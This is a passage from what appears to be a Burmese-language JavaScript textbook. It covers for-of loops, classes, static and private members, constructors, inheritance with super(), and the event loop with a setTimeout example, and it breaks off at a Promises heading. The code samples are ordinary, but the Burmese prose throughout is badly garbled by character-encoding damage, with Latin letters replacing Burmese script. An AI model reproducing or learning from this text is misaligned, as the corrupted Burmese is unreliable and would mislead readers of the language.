လက်ရှိdရာက်ရှိdနတဲ့  Property က p ထဲမှာ ရှိdနမှာပါ။ ဒါdeကာင့် p ကို doာ်gပdစတဲ့အခါ Property ကို
doာ်gပပြပီး Object ရဲ့ p Index ကိုdoာ်gပdစတဲ့အခါ သက်ဆိုင်ရာတန်oုိးကို ရရိှgခင်းgoစ်ပါတယ်။

for-in Loop  ကို  ရိုးရိုး  Array  dတွအတွက်လည်း အသံုးgပုနိုင်ပါတယ်။  Array  dတွအတွက်  for-of
Loop ကိုလည်း အသုံးgပုနိုင်ပါတယ်။ ဒီလုိပါ –

 JavaScript 
let users = ["Alice", "Bob", "Tom", "Mary"]
for(u of users) {
    console.log(u)
}

// Alice
// Bob
// Tom
// Mary
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Array  ရဲ့အစကdန အဆုံးထိ အလုိအdလျှာက်  အလုပ်လုပ်သွားတာပါ။ zယ်ကစမယ်၊  zယ်မှာဆုံးမယ်၊
တစ်ကြကိမ်မှာတစ်တိုးရမယ်  စသည်goင့်  dgပာdနစရာ  မလုိdတာ့လို့  အများကြကီးပုိရှင်းပါတယ်။  for-of
Loop ကို Iterable Object dတွအတွက်ပဲသံုးလ့ုိရပါတယ်။ ရိုးရိုး Object dတွအတွက် မရပါzူး။ Object-
Oriented Programming  မှာ  Interface  လ့ုိdခါ်တဲ့ သdzာသzာဝ ရိှပါတယ်။  Protocol  လ့ုိလည်းdခါ်
eကပါတယ်။  အ့ဲဒီ  Interface/Protocol  က  Object  တည်dဆာက်တဲ့အခါ  လုိက်နာရမည့်  စည်းမျဉ်းdတွ
သတ်မှတ်နိုင်တဲ့ နည်းစနစ်တစ်မျ ို းပါ။  Iterable Object ဆိုတာ Iterable Protocol က သတ်မှတ်ထားတဲ့
သတ်မှတ်ချက်နဲ့အညီ  တည်dဆာက်ထားတဲ့  Object  dတွကိုdgပာတာပါ။  လက်ရှိdလ့လာထားတဲ့ထဲက
Array နဲ့ String တို့ဟာ Iterable Protocol သတ်မှတ်ချက်နဲ့အညီ oန်တီးdပးထားတဲ့ Object dတွgoစ်eက
ပါတယ်။ ဒါdeကာင့် Array dတွ String dတွကို  for-of နဲ့  Loop လုပ်နိုင်ပြပီး ရိုးရိုး  Object dတွအတွက်
လုိအပ်ရင် for-in ကို အသံုးgပုရမှာပဲgoစ်ပါတယ်။

ဒီစာအုပ်မှာ  Interface/Protocol  အဆင့်ထိ  ထည့်သွင်းdoာ်gပနိုင်မှာ  မဟုတ်dပမယ့်  Object-Oriented
Programming  ရဲ့အdgခခံ  သdzာသzာဝdတွကိုdတာ့  ဆက်လက်ထည့်သွင်း  doာ်gပသွားမှာ  goစ်ပါ
တယ်။
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အခန်း (၁၈) – JavaScript OOP – Object-Oriented Programming

Object ဆိုတာဟာ ကိုယ်ပိုင် အချက်အလက် (Property) နဲ့ ကိုယ်ပုိင် လုပ်dဆာင်ချက် (Method) dတွ စု
oဲွ့ပါဝင်တဲ့  အရာတစ်ခုပါ။  ဒီသdzာသzာဝကို  dရှ့ ပုိင်းမှာ  dတွ့gမင်ခဲ့eကပြပီး  goစ်ပါတယ်။  Object
Oriented Programming (OOP) ဆိုတာကdတာ့  ကုဒ်dတွdရးတဲ့အခါ  ဒီ  Object  dတွdပါ်မှာ  အdgခခံ
အလုပ်လုပ်dစo့ုိ စုoဲွ့dရးသားတဲ့ dရးနည်းdရးဟန်ပဲ goစ်ပါတယ်။

ကုဒ်dတွကို အစီအစဉ်အတိုင်း အလုပ်လုပ်dစတဲ့ dရးနည်းdရးဟန်ကို Imperative Programming လ့ုိdခါ်
eကပါတယ်။  ကွန်ပျူတာကို  တစ်ဆင့်ချင်းစီ  အမိန့်dပးdစခိုင်းတဲ့  dရးဟန်မုိ့လ့ုိပါ။  Procedure  dတွ
Function dတွ ပါဝင်လာပြပီဆိုရင်dတာ့ Procedural Programming လ့ုိdခါ်eကပါတယ်။ Procedure dတွ
Function dတွကို လုိအပ်သလုိ dပါင်းစပ်အသုံးချgခင်းအားgoင့် အလုပ်လုပ်dစတဲ့ dရးဟန်goစ်ပါတယ်။

Functional  Programming ဆိုတာလည်း  ရိှပါdသးတယ်။  Pure  Function  dတွကို  စုoဲွ့dပါင်းစပ်ပြပီး
အလုပ်လုပ်dစgခင်းအားgoင့်  ပရိုZရမ်ကို  oဲွ့စည်းတည်dဆာက်ရတဲ့  dရးဟန်ပါ။  Pure  Function  ဆိုတာ
ရိုးရိုး  Function  နဲ့ မတူပါzူး။ သ့ူမှာ ထူးgခားတဲ့ ဝိdသသ (၂)  ရပ်ရှိပါတယ်။  Function  တစ်ခုကို dခါ်ယူ
လုိက်တဲ့အခါ dပးလုိက်တဲ့  Argument တူလ့ုိ gပန်ရတဲ့ရလဒ် အပြမဲတမ်းတူတယ်ဆိုရင်  Pure Function လ့ုိ
dခါ်ပါတယ်။  Function  တစ်ခုကို  အလုပ်လုပ်dစလုိက်လ့ုိ  မူလတန်oုိးdတွကို  dgပာင်းလဲdစတယ်ဆိုရင်
Side-Effect ရိှတယ်၊ dzးထွက်ရလဒ်ရှိတယ်လ့ုိ ဆိုပါတယ်။ Pure Function ဆိုတာ အ့ဲဒီလုိ Side-Effect
မရှိတဲ့ Function dတွပါ။ 

dရှ့ ပုိင်းမှာ  dလ့လာခဲ့တဲ့  လုပ်dဆာင်ချက်တစ်ချ ို ့ကို  ဥပမာgပန်eကည့်နိုင်ပါတယ်။  push(), pop(),
splice() စတဲ့  Array Function  dတွဟာ Impure Function  dတွပါ။ ဒီ  Function  dတွdeကာင့် မူလ
Array  မှာ  တန်oုိးdတွ  dgပာင်းလဲသွားမှာမ့ုိလ့ုိ  goစ်ပါတယ်။ ဒီလုိdgပာင်းလဲdနတဲ့  အတွက်deကာင့်ပဲ  တစ်
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ကြကိမ်နဲ့တစ်ကြကိမ် gပန်ရမယ့် ရလဒ်လည်း တူမှာ မဟုတ်ပါzူး။  map(), filter(), reduce() စ
တဲ့ Function dတွကdတာ့ Pure Function dတွပါ။ ဒီ Function dတွက ရလဒ်အသစ်ကို gပန်dပးပါမယ်။
မူလ Array ကို dgပာင်းလဲdစgခင်း မရှိပါzူး။ ဒါdeကာင့် zယ်နှစ်ကြကိမ် Run သည်goစ်dစ တူညီတဲ့ရလဒ်ကိုပဲ
အပြမဲgပန်ရမှာပါ။ ဒါဟာသိရှိထားသင့်တဲ့ ဗဟုသုတgoစ်ပါတယ်။ ဒီသdzာသzာဝကို သိထားမှ မတူကွဲgပား
dနတဲ့ အလုပ်လုပ်ပံုကို ပံုdoာ်eကည့်နိုင်မှာမ့ုိလို့ပါ။

JavaScript  ရဲ့ထူးgခားချက်က အ့ဲဒီလို  Imperative,  Procedural,  OOP,  Function  စသည်goင့်  ရိှdနတဲ့
dရးဟန်dတွထဲက  နှစ်သက်ရာ  dရးဟန်ကို  အသံုးgပုနိုင်gခင်းgoစ်ပါတယ်။  zယ်နည်းနဲ့ပဲ  dရးရမယ်လ့ုိ
ပံုdသကန့်သတ်ထားgခင်း  မရှိလ့ုိ  dရးသားသူက  မိမိနှစ်သက်ရာ  နည်းလမ်းကို  အသံုးgပုနိုင်မှာgoစ်သလုိ၊
ဆန္ဒရှိရင်လည်း dရးဟန်အမျ ို းမျ ို းကို dပါင်းစပ်အသံုးgပု dရးသားနိုင်မှာပဲ goစ်ပါတယ်။

Classes & Objects
dရှ့ ပုိင်းမှာ  Object  တည်dဆာက်ပုံနည်းလမ်းနှစ်မျ ို း  dgပာခဲ့ပါတယ်။  Object Constructor  ကို  အသံုးgပု
တည်dဆာက်နိုင်သလုိ  Object Literal  goစ်တဲ့  တွန့်ကွင်းအoွင့်အပိတ်နဲ့လည်း တည်dဆာက်နိုင်ပါတယ်။
အခုဆက်လက် doာ်gပမယ့် နည်းလမ်းကdတာ့  Class  dရးထံုးကို  အသံုးgပုတည်dဆာက်တဲ့  နည်းလမ်းပဲ
goစ်ပါတယ်။

Class    ဆိုတာ    Object  Template    လ့ုိ  ဆိုနိုင်ပါတယ်  ။  Object  တည်dဆာက်လုိက်ရင်  ပါဝင်ရမယ့်
အချက်အလက်နဲ့  လုပ်dဆာင်ချက်dတွကို  ကြကိုတင်သတ်မှတ်dပးထားနိုင်တဲ့  နည်းလမ်းတစ်မျ ို းgoစ်ပါ
တယ်။ ဥပမာ ဒီလုိပါ –

 JavaScript 
class Car {
    color = "Red"
    wheels = 4
    drive() {
        console.log("This car is driving")
    }
}
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class Keyword ရဲ့dနာက်မှာ Class အမည်လုိက်ရပြပီး သ့ူdနာက်ကdန Property dတွ Method dတွ စု
oဲွ့ပြပီး  လုိက်ရတာ  goစ်ပါတယ်။  ဒါဟာ  dသချာdလ့လာeကည့်လိုက်ရင်  ရိုးရိုး  Object  Literal  အသံုးgပု
dရးသားနည်းနဲ့ သိပ်မကွာလှပါzူး။

 JavaScript 
let car = {
    color: "Red",
    wheels: 4,
    drive() {
        console.log("The car is driving")
    }
}

အသံုးgပုတဲ့ သdက[တdတွနဲ့ dရးထံုးကွဲgပားမှုပိုင်းdလးdတွ ရိှdနdပမယ့် အdတာ်dလး ဆင်တူတာကို dတွ့
ရပါလိမ့်မယ်။  မတူတာကdတာ့  Car  ဟာ  Class  တစ်ခုgoစ်ပြပီး  Object  မဟုတ်dသးပါzူး။  လုိအပ်တဲ့
Object dတွကို ဒီ Class ကိုအသံုးgပု တည်dဆာက်dပးရမှာပါ။ အခုလုိ တည်dဆာက်နိုင်ပါတယ်။

 JavaScript 
let toyota = new Car

toyota ဟာ Car Class ကို အသံုးgပုတည်dဆာက်လုိက်တဲ့  Object တစ်ခုgoစ်သွားပါပြပီ။ ဒါdeကာင့်  Car
Class မှာ သတ်မှတ်dပးထားတဲ့ Property dတွ Method dတွ ရှိdနမှာgoစ်ပါတယ်။

 JavaScript 
toyota.wheels    // 4
toyota.drive()    // The car is driving

Class ကdနတစ်ဆင့်  Object တည်dဆာက်ပြပီးမှ အသံုးgပုရတဲ့ သdzာပါ။ အ့ဲဒီလုိ Object တည်dဆာက်
စရာ မလုိzဲ Class ကdန တိုက်ရိုက် အသုံးgပုလုိရင် သံုးလ့ုိရတဲ့ dရးနည်းရှိပါတယ်။ static Property
နဲ့ static Method လ့ုိ dခါ်ပါတယ်။ ဒီလုိပါ။
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 JavaScript 
class Calculator {
    static PI = 3.14
    static add(a, b) {
        return a + b
    }
}

ဒီလုိ  static Property/Method dတွရှိdနမယ်ဆိုရင်dတာ့  Class ကdနတစ်ဆင့် တိုက်ရိုက်အသံုးgပုလ့ုိ
ရနိုင်သွားပါတယ်။

 JavaScript 
Calculator.PI    // 3.14
Calculator.add(3, 4)    // 7

ဒီသdzာသzာဝကို  Access-Control Modifier  လ့ုိdခါ်ပြပီး  Property  dတွ  Method  dတွကို  zယ်နည်း
zယ်ပံု  Access  လုပ်  အသံုးgပုခွင့်gပုမလဲဆိုတာကို  သတ်မှတ်နိုင်တဲ့  နည်းလမ်းdတွgoစ်ပါတယ်။  အများ
အားgoင့် dတွ့ ရdလ့ရှတိဲ့ Access-Control Modifier dတကွdတာ့ – 

• Public
• Private
• Protected
• Static 

– တို့goစ်ပါတယ်။ JavaScript Class တစ်ခုအတွင်းမှာ deကညာလိုက်တဲ့ Property dတွ Method dတဟွာ
Public သdzာသzာဝ ရိှeကပါတယ်။ Object ကdနတစ်ဆင့် အgပည့်အဝ အသံုးgပုခွင့် dပးထားတယ်ဆို
တဲ့သdzာပါ။  Static  ရဲ့သdzာသzာဝကိုdတာ့  အခုပဲdgပာခဲ့ပြပီးပါပြပီ။  Class  အမည်ကdန အသံုးgပုခွင့်
dပးထားပါတယ်။ Private ဆိရုင်dတာ့ Object ကdနတစ်ဆင့် အသံုးgပုခွင့် မdပးdတာ့ပါzူး။ dရးထားတဲ့
Class အတွင်းထဲမှာပဲ သုံးခွင့်ရှိပါdတာ့တယ်။
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တgခား  Language  အများစုမှာ  public, private စတဲ့  Keyword  dတွကို  အသုံးgပုပြပီး  Access-
Control ကို သတ်မှတ်eကပါတယ်။ ဒီလုိပါ – 

 Pseudocode 
class Car {
    private hp = 150;
    public color = "Red";
    static info () {
        console.log(`Horse Power: ${this.hp}`);
    }
}

နမူနာက JavaScript ကုဒ်မဟုတ်ပါzူး။ သdzာသzာဝ ရှင်းgပချင်လ့ုိ dရးလုိက်တဲ့  Pseudocode ပါ။ န
မူနာမှာ hp ကို Private လ့ုိdgပာထားပါတယ်။ ဒါdeကာင့် gပင်ပdန တိုက်ရိုက်gပင်လ့ုိ သံုးလုိ့ မရdတာ့ပါzူး။
သတ်မှတ်ထားတဲ့ နည်းလမ်းကdနသာ အသုံးgပုခွင့်ရှိdတာ့မှာပါ။ ဥပမာ - 

 Pseudocode 
let car = new Car();
car.hp = 200;    // Error: Cannot access private property
Car.info();    // Horse Power: 150

ဒီသdzာသzာဝကို    OOP    မှာ    Encapsulation    လ့ုိdခါ်ပါတယ်  ။  Object  တစ်ခရုဲ့  အdသးစိတ်
အချက်အလက်dတွကို မဆိုင်သူ သိစရာမလုိzူး၊ ထိစရာမလုိzူး ဆိုတဲ့သdzာgoစ်ပါတယ်။

JavaScript  မှာdတာ့  static Keyword  တစ်ခုပဲ ရှိပါတယ်။  public dတွ  private dတွမရှိပါzူး။
Keyword dတွအစား dရးတဲ့အခါမှာ ဒီလုိdရးdပးရပါတယ်။
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 JavaScript 
class Car {
    #hp = 150
    color = "Color"

    static info() {
        console.log(`Horse Power: ${this.#hp}`)
    }
}

ရိုးရိုးdရးလုိက်တဲ့  color Property  ဟာ  Public  goစ်ပြပီး dရှ့ ကdန  Hash  သdက[တdလး ခံdရးထားတဲ့
#hp Property  က Private  goစ်သွားပါတယ်။ ဒီdရးထံုးဟာ JavaScript  မှာ အခုမှစမ်းသပ်အဆင့်ပဲ ရှိပါ
dသးတယ်။ ဒါdeကာင့် dရးထံုးအရမှန်ပါတယ်။ တစ်ချ ို ့  Update မgoစ်တဲ့  Browser dတွမှာ စမ်းeကည့်လို့
dတာ့ ရဦးမှာ မဟုတ်ပါzူး။ စမ်းeကည့်လို့မရရင် Browser ကို Update လုပ်ပြပီး gပန်စမ်းeကည့်နိုင်ပါတယ်။

Protected  ရဲ့  သdzာသzာဝကို  dတာ့ခဏနေdနမှ  ဆက်dgပာပါမယ်။  အခုgoည့်စွက်မှတ်သားသင့်တာ
ကdတာ့  Constructor  လ့ုိdခါ်တဲ့သdzာသzာဝ  goစ်ပါတယ်။   Class  တစ်ခုdရးသားတဲ့အခါ
Constructor ထည့်dရးလ့ုိရပါတယ်။ Constructor က အ့ဲဒီ Class ကို အသံုးgပုပြပီး  Object တည်dဆာက်
စဉ်မှာ အလုပ်လုပ်dပးမယ့် Method တစ်မျ ို းပါ။ ဒီလုိdရးရပါတယ်။

 JavaScript 
class Dog {
    constructor(name) {
        this.name = name
    }

    run() {
        console.log(`${this.name} is running...`)
    }
}

Constructor Method ရဲ့အမည်ကို constructor လ့ုိdပးရပါတယ်။ နမူနာအရ Constructor Method
မှာ  Parameter  တစ်ခရုှိလ့ုိ  Object  တည်dဆာက်တဲ့အခါ  Argument  တစ်ခုdပးပြပီး တည်dဆာက်ရdတာ့
မှာပါ။  Constructor  က လက်ခံရရှိတဲ့  Argument  ကို  name Property  ထဲမှာ  Assign  လုပ်dပးလိုက်မှာ
goစ်ပါတယ်။ အခုလုိ စမ်းeကည့်နိုင်ပါတယ်။
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 JavaScript 
let dog1 = new Dog("Bobby")
let dog2 = new Dog("Rambo")
dog1.run()    // Bobby is running…
dog2.run()    // Rambo is running…

Class  dတတွည်dဆာက်တဲ့အခါ အgခား  Class  တစ်ခုdပါ်မှာ အdgခခံပြပီး  တည်dဆာက်လ့ုိ ရပါတယ်။ ဒီ
သdzာသzာဝကို  Inheritance လ့ုိdခါ်ပါတယ်။ အdမွဆက်ခံလုိက်တဲ့သdzာgoစ်လ့ုိ ဒီနည်းကိုသံုးလုိက်
ရင် ပင်မ Class ရဲ့လုပ်dဆာင်ချက်dတွကို ဆက်ခံတဲ့ Class က အလုိလုိရသွားတာပါ။

 JavaScript 
class Animal {
    constructor(name) {
        this.name = name
    }

    run() {
        console.log(`${this.name} is running...`)
    }
}

class Dog extends Animal {
    bark() {
        console.log(`${this.name}: Woof.. woof..`)
    }
}

နမူနာအရ Dog Class က Animal Class ကို  Inherit လုပ်လုိက်တာပါ။ extends Keyword ကို သံုးရပါ
တယ်။ ဒါdeကာင့် Dog Class မှာ Animal Class ရဲ့လုပ်dဆာင်ချက်dတွကို ရရိှသွားပါတယ်။

 JavaScript 
let milo = new Dog("Milo")
milo.bark()    // Milo: Woof.. woof..

Dog Class မှာ Constructor dတွ name Property dတွမရှိdပမယ့် Animal Class ကdနဆက်ခံပြပီး ရထား
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လ့ုိ  အခုလို  အသံုးgပုနိုင်gခင်းgoစ်ပါတယ်။  Class  dတွအခုလုိ  ဆက်ခံdရးသားတဲ့အခါ  တစ်ကြကိမ်မှာ  Class
တစ်ခုကိုပဲ  Inherit  လုပ်လ့ုိရပါတယ်။ Multiple-Inheritance dခါ် Class နှစ်ခုသံုးခုကdန တစ်ပြပိုင်တည်း
ဆက်ခdံရးသားလ့ုိdတာ့ မရပါzူး။ dနာက်ထပ် ဥပမာdလး တစ်ခု ထပ်dပးပါဦးမယ်။

 JavaScript 
class Cat extends Animal {
    constructor(name, color) {
        super(name)
        this.color = color
    }

    meow() {
        console.log(`${this.name}: Meow.. meow..`)
    }
}

ဒီနမူနာမှာdတာ့ Cat Class က Animal Class ကို ဆက်ခdံရးသားထားပါတယ်။ ထူးgခားချက်အdနနဲ့ Cat
Class မှာလည်း Constructor ပါဝင်ပြပီး Parameter နှစ်ခုရှိdနပါတယ်။ ဒါdeကာင့် Cat Class ကို အသံုးgပု
ပြပီး  Object  တည်dဆာက်ရင်  သ့ူရဲ့  Constructor  ကိုပဲ  သံုးသွားdတာ့မှာပါ။  ပင်မ  Animal  Class  ရဲ့
Constructor ကို သံုးမှာ မဟုတd်တာ့ပါzူး။ 

ပင်မ Animal Class ရဲ့ Constructor ကိုလည်း သံုးချင်တယ်၊ zယ်လုိလုပ်ရမလဲ။ Cat Class Constructor
ထဲမှာ dရးသားထားတဲ့  super() Method  က ဒီအတွက်goစ်ပါတယ်။ ပင်မ  Class  ရဲ့  Constructor  ကို
လှမ်းdခါ်dပးပါတယ်။ ဒီနည်းနဲ့  လက်dတွ့အလုပ်လုပ်တာက  Cat Class Constructor  ဆိုdပမယ့် ပင်မ
Animal Class Constructor ကိုလည်း လုိအပ်သလို အသုံးgပုလ့ုိ ရသွားပါတယ်။

 JavaScript 
let cat = new Cat("Shwe War", "Yellow")
cat.meow()    // Shwe War: Mewo.. meow..

ဒီdနရာမှာ ကျန်dနတဲ့ Protected ရဲ့ သdzာသzာဝကို dgပာလို့ရပါတယ်။ Inheritance လုပ်ပြပီး ဆက်ခံ
လုိက်တဲ့အခါ ဆက်ခံတဲ့  Class  ရရိှမှာက  Public Property  နဲ့  Method  dတွကိုသာ ရရိှမှာ goစ်ပါတယ်။
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Private  Property  dတွ  Method  dတွကိုdတာ့  ရရိှမှာ  မဟုတ်ပါzူး။  Protected  ရဲ့  သdzာသzာဝ
ကdတာ့ gပင်ပကdန Access လုပ်ခွင့်မdပးzူး၊ ဒါdပမယ့် Inherit လုပ် ဆက်ခံတဲ့သူကို သံုးခွင့်dပးမယ် ဆို
တဲ့  သdzာပဲ goစ်ပါတယ်။ ဒါdeကာင့်  Access-Control Modifier  မှာ  Protected  လ့ုိ  dပးထားလုိက်ရင်
Private  လုိမျ ို း  gပင်ပကdန  အသံုးgပုခွင့်မရှိပါzူး၊  ဒါdပမယ့်  သူ့ကိုဆက်ခံထားတဲ့  Class  dတွကdတာ့
အသံုးgပုခွင့်ရမှာ goစ်ပါတယ်။ သိထားသင့်လ့ုိ ထည့်dgပာတာပါ၊ JavaScript မှာ Protected dရးထံုး မရှိပါ
zူး။

အသံုးနည်းdပမယ့်  goည့်စွက်မှတ်သားသင့်တာတစ်ခု  ရှိပါdသးတယ်။  Function  dတွမှာ  Function
Expression ရှိသလုိပဲ Class dတွမှာလည်း Class Expression ရှိပါတယ်။ ဒါdeကာင့် ဒီလုိdရးလ့ုိ ရပါတယ်။

 JavaScript 
let Car = class {
    color = "Red"
    wheels = 4
    drive() {
        console.log("The car is driving")
    }
}

ဒါdပမယ့်  Function  dတွမှာ  Hoisting/Lifting  သdzာသzာဝရှိdပမယ့်  Class  dတွမှာ  မရှိပါzူး။  ဒါ
deကာင့်  Function  dတွလုိ  အရင်သံုးပြပီး  dနာက်မှdeကညာလ့ုိမရပါzူး။  အသုံးမgပုခင်  ကြကိုတင်deကညာ
သတ်မှတ်ထားdပးoုိ့ လုိအပ်ပါတယ်။

Object-Oriented Programming ဆိုတာ dရးထံုးပုိင်းအရ ခက်ခဲလှတာ မဟုတ်dပမယ့် သdzာသzာဝ
ပုိင်းကdတာ့  dလးနက်ကျယ်gပန့်ပါတယ်။  Multiple  Inheritance  မရzူးလ့ုိ  dgပာထားတယ်။  ရတ့ဲ
Language  dတွdရာ  ရိှသလား။  ရgခင်း  မရgခင်းရဲ့  အားသာချက်  အားနည်းချက်dတွက  zာdတွလဲ၊  စ
သgoင့်  dgပာမယ်ဆို  dgပာစရာdတွ  ကျန်ပါdသးတယ်။  dနာက်ပြပီးdတာ့  ပြပီးခဲ့တဲ့အခန်းမှာ  dgပာခဲ့တဲ့
Interface dတွ Protocol dတွက zယ်လုိdနရာမျ ို းမှာ သံုးရတာလဲ။ Dynamically Typed နဲ့  Statically
Typed သdzာသzာဝက ဒီ Object dတွdပါ်မှာ zယ်လုိသက်dရာက်မှုရှိသလဲ၊ စသည်goင့် ကျန်ပါdသး
တယ်။ ပdရာZျက်ကြကီးdတွမှာ ကုဒ် Architecture အတွက် သံုးeကတဲ့ Object-Oriented Design Patterns
ဆိုတဲ့ သdzာသzာဝdတွလည်း ရိှပါdသးတယ်။ dနာက်တစ်ပုိင်းမှာ ဆက်လက် doာ်gပပါမယ်။
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JavaScript  ဟာ Single-Threaded ပံုစံအလုပ်လုပ်တဲ့ နည်းပညာgoစ်ပါတယ်။ ဒါကိုမျက်စိထဲမှာ gမင်သာ
dအာင် ယာဉ်deကာတစ်ခုပဲရှိတဲ့  ကားလမ်းတစ်ခုလုိ  gမင်eကည့်နိုင်ပါတယ်။ dပျာ်ပဲွစားထွက်o့ုိ  ကားသံုးစီး
ထွက်လာတယ်ဆိုရင် ယာဉ်deကာတစ်ခုပဲရှိတဲ့အတွက် dရှ့ dနာက်တန်းစီပြပီးသွားeကရမှာပါ။ dရှ့ကတစ်စီး
အdeကာင်းတစ်ခုခုdeကာင့် dနှးသွားရင် dနာက်က ကားdတွလည်း လုိက်dနှးသွားမှာပါပဲ။

Multi-Threaded စနစ်dတွကိdုတာ့ ဒီဥပမာနဲ့ နှိုင်းယှဉ်dgပာရမယ်ဆိုရင် ယာဉ်deကာသံုးခုပါတဲ့ ကားလမ်း
နဲ့တူပါတယ်။ ကားသံုးစီးက ပြပိုင်တူယှဉ်ပြပီးသွားလုိ့ ရပါတယ်။ ဒါdeကာင့် တစ်စီးdနှးdနရင် dစာင့်စရာမလုိ
zဲ ကျန်တဲ့ကားdတွက ဆက်သွားလ့ုိ ရနိုင်ပါတယ်။

Multi-Threaded စနစ်dတွဟာ ကိုင်တွယ်တတ်မယ်ဆိုရင် ပုိgမန်ပါတယ်။ ဒါdပမယ့်သ့ူမှာ အခက်အခဲတစ်
ခdုတာ့ ရှိdနပါတယ်။ ကားသုံးစီးမှာ တစ်စီးက ပန်းကန်ခွက်dတွ ယူလာတယ်။ dနာကတ်စ်စီးက စားစရာ
dတွ ယူလာတယ်။ dနာကတ်စ်စီးက dသာက်စရာdတွ ယူလာတယ် ဆိုeကပါစို့။  Single-Threaded  စနစ်
dတွမှာ အားလံုးက အတူတူပဲ သွားeကတာမ့ုိလ့ုိ dစာင့်ရတဲ့အတွက် dနှးချင်dနှးမယ်၊ dနာက်ဆုံးခရီးdရာက်
တဲ့အခါ အတူတကွ ပါလာတဲ့ ပန်းကန်ခွက်dယာက်၊ စားdသာက်oွယ်ရာdတွ ချပြပီး dပျာ်ပွဲစားeကယံုပါပဲ။ 

Multi-Threaded  စနစ်မှာ  တစ်စီးကdနှးပြပီး  ကျန်ခဲ့လ့ုိ  ကျန်တဲ့နှစ်စီးက dရာက်နှင့်တဲ့အခါ  zာလုပ်မလဲ
စဉ်းစားစရာ ရှိလာပါတယ်။  dသာက်စရာယူလာတဲ့ကား  ကျန်ခဲ့ရင်  ကိစ္စမရှိzူး။  ပန်းကန်ခွက်နဲ့  စားစရာ
dတွ ကြကိုgပင်ထားလုိက်ရင် gမန်သွားတာdပါ့။ ပန်းကန်ခွက်dတွယူလာတဲ့ကား ကျန်ခဲ့ရင်dတာ့ အဆင်မdgပ
dတာ့ပါzူး။ သူdရာက်dအာင် dစာင့်ရပါdတာ့မယ်။ dနာက်gပဿနာက zယ်dလာက်dစာင့်ရမှာလဲ။ zီး
dပါက်လို့  eကာdနတာမျ ို းဆိုရင်  eကာdတာ့eကာမယ်၊  အချနိ်တန်ရင်  dရာက်လာပါလိမ့်မယ်။  လမ်းမှားလ့ုိ
eကာdနတာမျ ို း  ဆိုရင်dတာ့၊  dစာင့်သာdစာင့်dနတာ  dရာက်မလာzူးဆိုတာမျ ို းdတွ  goစ်နိုင်ပါတယ်။
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Multi-Thread Communication စနစ်dတွနဲ့  ကျကျနန စီမံတတ်o့ုိ လုိသွားပါတယ်။

JavaScript   ကdတာ့   Single-Thread   စနစ်ပါ  ။ Single-Thread မ့ုိလ့ုိ လမ်းdeကာတစ်ခုထဲမှာပဲ တစ်ခုပြပီးမှ
တစ်ခုလုပ်ပါတယ်။  ဒါဆိုရင်  အလုပ်တစ်ခုက eကာdနရင်  တစ်ကယ်ပဲ  ကျန်တဲ့အလုပ်dတွ  dရှ့ ဆက်လ့ုိမ
ရdတာ့zဲ dစာင့်ရdတာ့မှာလား။ ဒီလုိမgoစ်dအာင်dတာ့ စီစဉ်ထားပါတယ်။ ဒီအတွက်  Message Queue,
Frame  Stack,  Event  Loop  စတဲ့  သီအုိရီပုိင်းဆိုင်ရာ  သdzာသzာဝdတွရှိပါတယ်။  အ့ဲဒါdတွကို  gမင်
လွယ်dအာင် ဒီလုိdလးgမင်eကည့်ပါ။

တန်းစီပြပီးသွားdနတဲ့  ကားတန်းကို  အစီအစဉ်အတိုင်း  တစ်ခုပြပီးတစ်ခု  လုပ်ရမယ့်  Messages Queue  လ့ုိ
gမင်နိုင်ပါတယ်။  ကားတစ်စီးတိုင်းမှာ  လုိအပ်တဲ့ပစ္စည်းdတွ  ထပ်ထပ်ပြပီးdတာ့  တင်ထားပါတယ်။  အ့ဲဒါကို
Frames  Stack  လ့ုိ  gမင်နိုင်ပါတယ်။  ကားdတွထဲက ပစ္စည်းdတွကို  ချdတာ့မယ်ဆိုရင်  ကားdတွတန်းစီ၊
တစ်စီးဝင်၊  ပါတဲ့ပစ္စည်းdတွ တစ်ခုပြပီး  တစ်ခုချ၊  ပစ္စည်းတစ်ခုက ညပ်dနလ့ုိ ချလ့ုိမရzူးဆိုရင် dနာက်မှာ
သွားgပန်တန်းစီ၊  dနာကတ်စ်စီးဝင်၊  ပါတဲ့ပစ္စည်းdတွ  တန်းစီချ၊  ပြပီးရင်ထွက်  စသgoင့်  အစီအစဉ်အတိုင်း
အလုပ်လုပ်သွားတဲ့  သdzာကို  Event Loop  လ့ုိdခါ်ပါတယ်။  Event Loop  က ချစရာပစ္စည်းမရှိတဲ့အခါ
oယ်ခိုင်းပါတယ်။ oယ်တဲ့အခါ  လံုးဝoယ်လုိက်တာ goစ်နိုင်သလုိ၊  ကျန်dနdသးလို့  dနာက်ကgပန်ဝင်စီတာ
မျ ို းလည်း goစ်နိုင်ပါတယ်။ ဒီနည်းနဲ့  အရမ်းeကာမယ့်အလုပ်dတွ  မပြပီးမချင်း  dနာက်အလုပ်dတွက dစာင့်
dနစရာ မလိုdတာ့ပါzူး။ Single-Threaded ဆိုdပမယ့် မလုိအပ်zဲ မeကာdတာ့ပါzူး။

ဥပမာ အခုလုိ စမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 
console.log(1)
console.log(2)
setTimeout(() => console.log(3), 1000)
console.log(4)

setTimeout() Function ကို အချနိ်ခဏနေdစာင့်ပြပီးမှ လုပ်dစချင်တဲ့ အလုပ်dတရွှိရင် သံုးနိုင်ပါတယ်။ န
မူနာအရ   အလုပ်တစ်ခုကို  setTimeout() နဲ့  1000  မီလီစက္ကန့်  (တစ်စက္ကန့်)  dစာင့်ပြပီးမှ  လုပ်o့ုိ
dရးထားတာပါ။ အစီအစဉ်အတိုင်းသာဆိုရင် -
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// 1
// 2
(တစ်�စ်က္က�နဲ့��စေစ်ာင့်� �)
// 3
// 4

–  goစ်ရမှာပါ။  ဒါdပမယ့်  JavaScript  ရဲ့  Event  Loop  သdzာသzာဝdeကာင့်  အ့ဲဒီလုိ  dစာင့်dနရမယ့်
အလုပ်ကို dကျာ်ပြပီး လုပ်dပးလုိက်မှာ goစ်ပါတယ်။ ဒါdeကာင့် ရလဒ်က အခုလုိgoစ်မှာပါ။

// 1
// 2
// 4
// 3

dစာင့်ရမယ့်  3  ကိုမdစာင့်zဲ  dနာက်ကိုပ့ုိလုိက်ပြပီး  4  ကို  အရင်လုပ်လုိက်ပါတယ်။ ပြပီးမှ  အချနိ်ကျလာတဲ့
အခါ 3 ကို လုပ်လုိက်လ့ုိ အခုလုိရလဒ်မျ ို းကို ရရှိgခင်းပဲ goစ်ပါတယ်။

Promises
ပြပီးခဲ့တဲ့နမူနာကိုeကည့်ရင် setTimeout() အတွက် Callback အdနနဲ့ Function Expression တစ်ခုကို
